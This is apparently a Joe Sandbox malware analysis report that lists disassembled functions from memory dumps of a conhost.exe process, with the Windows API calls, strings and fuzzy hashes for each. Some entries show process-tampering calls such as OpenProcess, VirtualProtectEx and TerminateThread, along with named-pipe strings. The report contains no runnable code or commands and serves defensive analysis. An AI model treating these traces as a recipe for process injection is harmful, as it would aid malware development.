Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: 1D115E302476A082FB5CB3A166753BD63927B667FCF14532BD93607AF6DA38D4418201

Function 000001D29E8C1934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001D29E8C195A
K32GetModuleFileNameExW.KERNEL32 ref: 000001D29E8C1978
PathFindFileNameW.SHLWAPI ref: 000001D29E8C1987
lstrlenW.KERNEL32 ref: 000001D29E8C1993
StrCpyW.SHLWAPI ref: 000001D29E8C19A6
CloseHandle.KERNEL32 ref: 000001D29E8C19B4

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction ID: cdd734ac5c25bb2b168afc523aefd98578930d11bb2c10f36574dccc0fe9e3f5
Opcode Fuzzy Hash: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction Fuzzy Hash: 80016171306A5582EB18DB92A4A439D63A1FF99FC4F444136DE7D43764DE3CC989C740

Function 000001D29E8C3B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001D29E8C36B0), ref: 000001D29E8C3B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001D29E8C36B0), ref: 000001D29E8C3B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001D29E8C36B0), ref: 000001D29E8C3B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001D29E8C36B0), ref: 000001D29E8C3B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001D29E8C36B0), ref: 000001D29E8C3B97
TerminateThread.KERNEL32(?,?,?,?,?,000001D29E8C36B0), ref: 000001D29E8C3BA6

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: 76c3df1580c1b1b516ae38c92b088cdaca9168a6c6e6c7f826b0425569e9a639
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: D801217571375CC2EB29ABA1E82979963A0BF69B49F04042ACA7D16775EF3DC4488700

Function 000001D29E8C9435 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D29E8C9443
_IsNonwritableInCurrentImage.LIBCMT ref: 000001D29E8C94D8
RtlUnwindEx.NTDLL ref: 000001D29E8C9527

Strings

csm, xrefs: 000001D29E8C94BE
f, xrefs: 000001D29E8C9456

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: 212a9a713a97621ced460a944e2b2f0120e0471c93ccc44a32008e31a86fb7ef
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: 7C51E3323136608ADB1CCFA5E424B983395F767B9CF5089A2DA3643798EB35C881C704

Function 000001D29E898835 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D29E898843
_IsNonwritableInCurrentImage.LIBCMT ref: 000001D29E8988D8

Strings

f, xrefs: 000001D29E898856
displacement map', xrefs: 000001D29E8988D1
csm, xrefs: 000001D29E8988BE

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: a7cbba46eca7e1e50a639d74c9e11893f7a944aef5d7ddb2261a91928f407243
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: CD51B032A13622ABEB5CDBA5E428B983795F370BDCF508122DA7657799DB34C842C701

Function 000001D29E8C9418 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D29E8C9443
_IsNonwritableInCurrentImage.LIBCMT ref: 000001D29E8C94D8
RtlUnwindEx.NTDLL ref: 000001D29E8C9527

Strings

csm, xrefs: 000001D29E8C94BE
f, xrefs: 000001D29E8C9456

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: cd5e78f7a824d61b6a4bd1de3076d2d48bd843f6231fa7e8b66aa639a396b76c
Instruction ID: dd702e7464cf870e71e8b8ca8fe8cb42083e929ff7e8ffb04fc9267c5e82795f
Opcode Fuzzy Hash: cd5e78f7a824d61b6a4bd1de3076d2d48bd843f6231fa7e8b66aa639a396b76c
Instruction Fuzzy Hash: 6531E8712037A0C6E718DF91E86479D37A4F766B8CF058456EE7A437A8CB38C981C704

Function 000001D29E898818 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D29E898843
_IsNonwritableInCurrentImage.LIBCMT ref: 000001D29E8988D8

Strings

f, xrefs: 000001D29E898856
displacement map', xrefs: 000001D29E8988D1
csm, xrefs: 000001D29E8988BE

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction ID: 33d2f17e0c434079c8c6bd42d7ba2ff298c6bfe5ab41ce093590189175e33851
Opcode Fuzzy Hash: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction Fuzzy Hash: C731E232602761A6E718DF61E86879937A4F370BCCF148016EEB6577A9CB38C942C704

Function 000001D29E8C19D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001D29E8C19F8
StrCmpNIW.SHLWAPI ref: 000001D29E8C1A12
lstrlenW.KERNEL32 ref: 000001D29E8C1A21
StrCpyW.SHLWAPI ref: 000001D29E8C1A36

Strings

\\?\, xrefs: 000001D29E8C1A06

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction ID: 54e4c8e26eeb472447c7b40dd291c7334073cf7e254840db2ef71c6eb90632a3
Opcode Fuzzy Hash: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction Fuzzy Hash: 6CF0AF7234569592EB248FA0F5E479D6360FF69B8CF849022CAA9425B4DE7CC688DB00

Function 000001D29E8C330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000001D29E8C2576), ref: 000001D29E8C332E
StrCpyW.SHLWAPI ref: 000001D29E8C333E
StrCatW.SHLWAPI ref: 000001D29E8C334A
PathCombineW.SHLWAPI(?,?,00000000,000001D29E8C2576), ref: 000001D29E8C3358

Strings

\\.\pipe\, xrefs: 000001D29E8C3324

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: 59fcb1e2b9ac56b57bb401c1ab5c5b572f164ec7d71c6ee83f698a3cc4213cc2
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: 98F054702067A482EB1C4B93B92419D6250FF58FC4F084022EE7607779CF3CC4868740

Function 000001D29E8CC0C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001D29E8CC0ED
GetProcAddress.KERNEL32 ref: 000001D29E8CC103
FreeLibrary.KERNEL32 ref: 000001D29E8CC12A

Strings

CorExitProcess, xrefs: 000001D29E8CC0FC
mscoree.dll, xrefs: 000001D29E8CC0E4

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction ID: 411aea5d55f45ef57f2fd69d53b7a6ad95c33c6fde4d79972bacf7e3ec743744
Opcode Fuzzy Hash: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction Fuzzy Hash: C2F062B131361885EF188BA5E86439D5320FF657A9F540217C67A451F4DF3DC488D300

Function 000001D29E8C5500 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001D29E8C5586

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction ID: 44e28a2a0c59aadc5f0f8363c8e6a458dce829833d0802cce118796aafd93459
Opcode Fuzzy Hash: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction Fuzzy Hash: F702EF3211AB9486DB64CB95F49479AB7A0F3D5798F104116EBEE47BA8DF7CC484CB00

Function 000001D29E8C5B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001D29E8C5B56

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction ID: 9f8b940c8333751b98db87ba7eab5d8ae936700b65df810cc807392199f1fa23
Opcode Fuzzy Hash: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction Fuzzy Hash: 1561CB3611BB54C6EB64DB95E46435A77A0F399788F50011AFAAD47BB8DB7CC540CF00

Function 000001D29E8D4534 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001D29E8D455C
_set_statfp.LIBCMT ref: 000001D29E8D4577
_set_statfp.LIBCMT ref: 000001D29E8D4593
_set_statfp.LIBCMT ref: 000001D29E8D45CF

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 48dfb80fe3d0d51b8649efff20ddf42be1178ebca4cc6a3bd43c4b9c8d86810e
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 7C118E32A12A7141FB6C16E9E4763ED11A1BF7837CF484636EA76076F6CB7888C94200

Function 000001D29E8A3934 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001D29E8A395C
_set_statfp.LIBCMT ref: 000001D29E8A3977
_set_statfp.LIBCMT ref: 000001D29E8A3993
_set_statfp.LIBCMT ref: 000001D29E8A39CF

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 9e93c2ad1bb3061a3fc6bfa3f8b69173680c27793be08e70f518efb9e3b77ed0
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: B6117332A16B3191FABC19E8E4763ED11417B7637CF0D4637EA7A0A6FBCB7489459100

Function 000001D29E8CAE4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001D29E8CAE98
_CallSETranslator.LIBVCRUNTIME ref: 000001D29E8CAEE7

Strings

MOC, xrefs: 000001D29E8CAEAC
RCC, xrefs: 000001D29E8CAEB5

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction ID: 5153bec5762938f16cfb5b5b8ad950c760c9099c712402eac850335ad1f1ed6d
Opcode Fuzzy Hash: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction Fuzzy Hash: E961AF73602B949AE728CFA5D4903DD77A0F359B8CF044256EF6A17BA9DB38C585C700

Function 000001D29E8CB1A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D29E8CB1D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001D29E8CB2B8

Strings

csm, xrefs: 000001D29E8CB1F2
csm, xrefs: 000001D29E8CB30A

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 999cf6a754b1ceb4f89c1b25830423a5850f73961378d3507682051992bf0dbc
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 7B516232103AA0CAEB688FA1946439C77D8F766B98F148617DA7987BF5CB38D451C701

Function 000001D29E89A5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D29E89A5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001D29E89A6B8

Strings

csm, xrefs: 000001D29E89A5F2
csm, xrefs: 000001D29E89A70A

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: b7ce5dc5f574f8830c7b0dbb7331afe685c33684bdccf4b25e1dc503635c4bfe
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 4A51C33A9013A0E6EB788FA5D4A83A877A0F374B9CF144157DAB947BE5DB38D451CB00

Function 000001D29E8C3554 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000001D29E8C3576
StrStrW.SHLWAPI ref: 000001D29E8C3594
StrToIntW.SHLWAPI ref: 000001D29E8C35BB

Part of subcall function 000001D29E8C1934: OpenProcess.KERNEL32 ref: 000001D29E8C195A
Part of subcall function 000001D29E8C1934: K32GetModuleFileNameExW.KERNEL32 ref: 000001D29E8C1978
Part of subcall function 000001D29E8C1934: PathFindFileNameW.SHLWAPI ref: 000001D29E8C1987
Part of subcall function 000001D29E8C1934: lstrlenW.KERNEL32 ref: 000001D29E8C1993
Part of subcall function 000001D29E8C1934: StrCpyW.SHLWAPI ref: 000001D29E8C19A6
Part of subcall function 000001D29E8C1934: CloseHandle.KERNEL32 ref: 000001D29E8C19B4

Part of subcall function 000001D29E8C3C74: StrCmpNIW.SHLWAPI(?,?,?,000001D29E8C254B), ref: 000001D29E8C3C8C

Strings

pid_, xrefs: 000001D29E8C356C

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction ID: 30a30c1b44d1bb422a00f2070cb3b0480ca21b66c8de6741ef54d9e395c14e88
Opcode Fuzzy Hash: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction Fuzzy Hash: 4211AF31307B6192EB189BA5E8663DE53A0FB65788F804162DE78837B5EF38C946C744

Function 000001D29E8D2488 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001D29E8D2507
WriteFile.KERNEL32 ref: 000001D29E8D27CF
WriteFile.KERNEL32 ref: 000001D29E8D2815
GetLastError.KERNEL32 ref: 000001D29E8D28CB

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction ID: d19f5a44d3fd1bb76b3f02213af3c01c185202178e45e42ddf7758d730c41145
Opcode Fuzzy Hash: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction Fuzzy Hash: 39D10132B06A9489E715CFE9D4603DC37B1FB68B9CF044216CE79A7BA9DA34C496C740

Function 000001D29E8C14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001D29E8C14C5
